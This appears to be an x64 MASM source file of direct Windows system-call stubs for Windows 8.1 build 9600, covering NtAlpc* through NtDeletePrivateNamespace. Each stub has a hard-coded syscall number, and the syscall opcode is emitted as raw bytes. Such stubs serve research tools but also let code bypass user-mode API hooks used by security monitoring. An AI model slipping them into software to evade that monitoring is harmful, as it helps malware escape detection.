; ULONG64 __stdcall NtAlpcCreatePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePortSection PROC STDCALL
mov r10 , rcx
mov eax , 120
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePortSection ENDP
; ULONG64 __stdcall NtAlpcCreateResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreateResourceReserve PROC STDCALL
mov r10 , rcx
mov eax , 121
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreateResourceReserve ENDP
; ULONG64 __stdcall NtAlpcCreateSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSectionView PROC STDCALL
mov r10 , rcx
mov eax , 122
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSectionView ENDP
; ULONG64 __stdcall NtAlpcCreateSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSecurityContext PROC STDCALL
mov r10 , rcx
mov eax , 123
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSecurityContext ENDP
; ULONG64 __stdcall NtAlpcDeletePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeletePortSection PROC STDCALL
mov r10 , rcx
mov eax , 124
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeletePortSection ENDP
; ULONG64 __stdcall NtAlpcDeleteResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteResourceReserve PROC STDCALL
mov r10 , rcx
mov eax , 125
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteResourceReserve ENDP
; ULONG64 __stdcall NtAlpcDeleteSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSectionView PROC STDCALL
mov r10 , rcx
mov eax , 126
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSectionView ENDP
; ULONG64 __stdcall NtAlpcDeleteSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSecurityContext PROC STDCALL
mov r10 , rcx
mov eax , 127
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSecurityContext ENDP
; ULONG64 __stdcall NtAlpcDisconnectPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAlpcDisconnectPort PROC STDCALL
mov r10 , rcx
mov eax , 128
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDisconnectPort ENDP
; ULONG64 __stdcall NtAlpcImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcImpersonateClientOfPort PROC STDCALL
mov r10 , rcx
mov eax , 129
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcImpersonateClientOfPort ENDP
; ULONG64 __stdcall NtAlpcOpenSenderProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderProcess PROC STDCALL
mov r10 , rcx
mov eax , 130
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderProcess ENDP
; ULONG64 __stdcall NtAlpcOpenSenderThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderThread PROC STDCALL
mov r10 , rcx
mov eax , 131
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderThread ENDP
; ULONG64 __stdcall NtAlpcQueryInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformation PROC STDCALL
mov r10 , rcx
mov eax , 132
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformation ENDP
; ULONG64 __stdcall NtAlpcQueryInformationMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformationMessage PROC STDCALL
mov r10 , rcx
mov eax , 133
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformationMessage ENDP
; ULONG64 __stdcall NtAlpcRevokeSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcRevokeSecurityContext PROC STDCALL
mov r10 , rcx
mov eax , 134
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcRevokeSecurityContext ENDP
; ULONG64 __stdcall NtAlpcSendWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtAlpcSendWaitReceivePort PROC STDCALL
mov r10 , rcx
mov eax , 135
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcSendWaitReceivePort ENDP
; ULONG64 __stdcall NtAlpcSetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAlpcSetInformation PROC STDCALL
mov r10 , rcx
mov eax , 136
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcSetInformation ENDP
; ULONG64 __stdcall NtAreMappedFilesTheSame( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAreMappedFilesTheSame PROC STDCALL
mov r10 , rcx
mov eax , 137
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAreMappedFilesTheSame ENDP
; ULONG64 __stdcall NtAssignProcessToJobObject( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAssignProcessToJobObject PROC STDCALL
mov r10 , rcx
mov eax , 138
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAssignProcessToJobObject ENDP
; ULONG64 __stdcall NtAssociateWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtAssociateWaitCompletionPacket PROC STDCALL
mov r10 , rcx
mov eax , 139
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAssociateWaitCompletionPacket ENDP
; ULONG64 __stdcall NtCancelIoFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCancelIoFileEx PROC STDCALL
mov r10 , rcx
mov eax , 140
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelIoFileEx ENDP
; ULONG64 __stdcall NtCancelSynchronousIoFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCancelSynchronousIoFile PROC STDCALL
mov r10 , rcx
mov eax , 141
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelSynchronousIoFile ENDP
; ULONG64 __stdcall NtCancelTimer2( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelTimer2 PROC STDCALL
mov r10 , rcx
mov eax , 142
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelTimer2 ENDP
; ULONG64 __stdcall NtCancelWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelWaitCompletionPacket PROC STDCALL
mov r10 , rcx
mov eax , 143
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelWaitCompletionPacket ENDP
; ULONG64 __stdcall NtCommitComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCommitComplete PROC STDCALL
mov r10 , rcx
mov eax , 144
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCommitComplete ENDP
; ULONG64 __stdcall NtCommitEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCommitEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 145
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCommitEnlistment ENDP
; ULONG64 __stdcall NtCommitTransaction( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCommitTransaction PROC STDCALL
mov r10 , rcx
mov eax , 146
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCommitTransaction ENDP
; ULONG64 __stdcall NtCompactKeys( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCompactKeys PROC STDCALL
mov r10 , rcx
mov eax , 147
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompactKeys ENDP
; ULONG64 __stdcall NtCompareTokens( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCompareTokens PROC STDCALL
mov r10 , rcx
mov eax , 148
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompareTokens ENDP
; ULONG64 __stdcall NtCompleteConnectPort( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtCompleteConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 149
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompleteConnectPort ENDP
; ULONG64 __stdcall NtCompressKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtCompressKey PROC STDCALL
mov r10 , rcx
mov eax , 150
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompressKey ENDP
; ULONG64 __stdcall NtConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 151
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtConnectPort ENDP
; ULONG64 __stdcall NtCreateDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateDebugObject PROC STDCALL
mov r10 , rcx
mov eax , 152
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateDebugObject ENDP
; ULONG64 __stdcall NtCreateDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObject PROC STDCALL
mov r10 , rcx
mov eax , 153
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObject ENDP
; ULONG64 __stdcall NtCreateDirectoryObjectEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObjectEx PROC STDCALL
mov r10 , rcx
mov eax , 154
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObjectEx ENDP
; ULONG64 __stdcall NtCreateEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 155
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateEnlistment ENDP
; ULONG64 __stdcall NtCreateEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateEventPair PROC STDCALL
mov r10 , rcx
mov eax , 156
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateEventPair ENDP
; ULONG64 __stdcall NtCreateIRTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCreateIRTimer PROC STDCALL
mov r10 , rcx
mov eax , 157
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateIRTimer ENDP
; ULONG64 __stdcall NtCreateIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 158
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateIoCompletion ENDP
; ULONG64 __stdcall NtCreateJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateJobObject PROC STDCALL
mov r10 , rcx
mov eax , 159
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateJobObject ENDP
; ULONG64 __stdcall NtCreateJobSet( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateJobSet PROC STDCALL
mov r10 , rcx
mov eax , 160
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateJobSet ENDP
; ULONG64 __stdcall NtCreateKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateKeyTransacted PROC STDCALL
mov r10 , rcx
mov eax , 161
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateKeyTransacted ENDP
; ULONG64 __stdcall NtCreateKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 162
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateKeyedEvent ENDP
; ULONG64 __stdcall NtCreateLowBoxToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtCreateLowBoxToken PROC STDCALL
mov r10 , rcx
mov eax , 163
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateLowBoxToken ENDP
; ULONG64 __stdcall NtCreateMailslotFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateMailslotFile PROC STDCALL
mov r10 , rcx
mov eax , 164
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateMailslotFile ENDP
; ULONG64 __stdcall NtCreateMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateMutant PROC STDCALL
mov r10 , rcx
mov eax , 165
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateMutant ENDP
; ULONG64 __stdcall NtCreateNamedPipeFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 );
_6_3_9600_sp0_windows_8_1_NtCreateNamedPipeFile PROC STDCALL
mov r10 , rcx
mov eax , 166
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateNamedPipeFile ENDP
; ULONG64 __stdcall NtCreatePagingFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreatePagingFile PROC STDCALL
mov r10 , rcx
mov eax , 167
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreatePagingFile ENDP
; ULONG64 __stdcall NtCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreatePort PROC STDCALL
mov r10 , rcx
mov eax , 168
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreatePort ENDP
; ULONG64 __stdcall NtCreatePrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreatePrivateNamespace PROC STDCALL
mov r10 , rcx
mov eax , 169
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreatePrivateNamespace ENDP
; ULONG64 __stdcall NtCreateProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateProcess PROC STDCALL
mov r10 , rcx
mov eax , 170
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProcess ENDP
; ULONG64 __stdcall NtCreateProfile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtCreateProfile PROC STDCALL
mov r10 , rcx
mov eax , 171
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProfile ENDP
; ULONG64 __stdcall NtCreateProfileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtCreateProfileEx PROC STDCALL
mov r10 , rcx
mov eax , 172
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProfileEx ENDP
; ULONG64 __stdcall NtCreateResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 173
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateResourceManager ENDP
; ULONG64 __stdcall NtCreateSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateSemaphore PROC STDCALL
mov r10 , rcx
mov eax , 174
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateSemaphore ENDP
; ULONG64 __stdcall NtCreateSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateSymbolicLinkObject PROC STDCALL
mov r10 , rcx
mov eax , 175
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateSymbolicLinkObject ENDP
; ULONG64 __stdcall NtCreateThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtCreateThreadEx PROC STDCALL
mov r10 , rcx
mov eax , 176
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateThreadEx ENDP
; ULONG64 __stdcall NtCreateTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateTimer PROC STDCALL
mov r10 , rcx
mov eax , 177
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTimer ENDP
; ULONG64 __stdcall NtCreateTimer2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateTimer2 PROC STDCALL
mov r10 , rcx
mov eax , 178
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTimer2 ENDP
; ULONG64 __stdcall NtCreateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 );
_6_3_9600_sp0_windows_8_1_NtCreateToken PROC STDCALL
mov r10 , rcx
mov eax , 179
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateToken ENDP
; ULONG64 __stdcall NtCreateTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 );
_6_3_9600_sp0_windows_8_1_NtCreateTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 180
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTokenEx ENDP
; ULONG64 __stdcall NtCreateTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtCreateTransaction PROC STDCALL
mov r10 , rcx
mov eax , 181
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTransaction ENDP
; ULONG64 __stdcall NtCreateTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtCreateTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 182
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTransactionManager ENDP
; ULONG64 __stdcall NtCreateUserProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtCreateUserProcess PROC STDCALL
mov r10 , rcx
mov eax , 183
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateUserProcess ENDP
; ULONG64 __stdcall NtCreateWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateWaitCompletionPacket PROC STDCALL
mov r10 , rcx
mov eax , 184
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWaitCompletionPacket ENDP
; ULONG64 __stdcall NtCreateWaitablePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateWaitablePort PROC STDCALL
mov r10 , rcx
mov eax , 185
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWaitablePort ENDP
; ULONG64 __stdcall NtCreateWnfStateName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateWnfStateName PROC STDCALL
mov r10 , rcx
mov eax , 186
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWnfStateName ENDP
; ULONG64 __stdcall NtCreateWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtCreateWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 187
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWorkerFactory ENDP
; ULONG64 __stdcall NtDebugActiveProcess( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDebugActiveProcess PROC STDCALL
mov r10 , rcx
mov eax , 188
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDebugActiveProcess ENDP
; ULONG64 __stdcall NtDebugContinue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtDebugContinue PROC STDCALL
mov r10 , rcx
mov eax , 189
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDebugContinue ENDP
; ULONG64 __stdcall NtDeleteAtom( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteAtom PROC STDCALL
mov r10 , rcx
mov eax , 190
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteAtom ENDP
; ULONG64 __stdcall NtDeleteBootEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteBootEntry PROC STDCALL
mov r10 , rcx
mov eax , 191
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteBootEntry ENDP
; ULONG64 __stdcall NtDeleteDriverEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteDriverEntry PROC STDCALL
mov r10 , rcx
mov eax , 192
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteDriverEntry ENDP
; ULONG64 __stdcall NtDeleteFile( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteFile PROC STDCALL
mov r10 , rcx
mov eax , 193
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteFile ENDP
; ULONG64 __stdcall NtDeleteKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteKey PROC STDCALL
mov r10 , rcx
mov eax , 194
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteKey ENDP
; ULONG64 __stdcall NtDeleteObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtDeleteObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 195
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteObjectAuditAlarm ENDP
; ULONG64 __stdcall NtDeletePrivateNamespace( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeletePrivateNamespace PROC STDCALL
mov r10 , rcx
mov eax , 196
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeletePrivateNamespace ENDP
